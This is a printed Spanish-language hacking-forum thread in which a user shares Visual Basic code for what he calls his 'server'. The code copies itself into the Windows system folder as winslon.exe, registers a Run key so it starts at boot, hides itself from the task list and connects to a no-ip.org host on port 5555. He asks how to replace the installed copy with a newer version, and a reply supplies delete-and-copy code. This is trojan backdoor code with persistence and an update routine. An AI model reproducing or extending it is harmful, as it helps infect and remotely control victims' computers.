Imprimir Página - Como reemplazo archivo

olaa, miren este code es de m server

Código:

On Error Resume Next
Text_chat.Text = "Chat abierto"
ruta = App.Path
If Right(ruta, 1) <> "\" Then ruta = ruta & "\"
ruta = ruta & App.EXEName & ".exe"
Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)
sys = LCase(sys)
FileCopy ruta, sys & "\winslon.exe"
Set Residencia = CreateObject("WScript.Shell")
Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe"
Ws.RemoteHost = "shadowdarknesses.no-ip.org"
Ws.RemotePort = 5555
SName = "ShaCCorTh"
App.TaskVisible = False
End Sub

ya yo lo abro, todo bien se ejecuta al inicio del pc, pero ya quiero abrir una nueva version de mi sever mas avanzada, NO reemplaza el archivo en system 32, alguien sabe como podria hacerlo para reemplazarlo
gracias
Saludos...

veamos... si el archivo se esta ejecutando.. no podras reemplazarlo.. eliminalo de memoria antes de reemplazarlo, pero sino es asi prova con:

Código:

sys = LCase(sys)
kill sys & "\winslon.exe"
FileCopy ruta, sys & "\winslon.exe"

Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: shadow.darknesses en 21 Enero 2007, 17:57 pm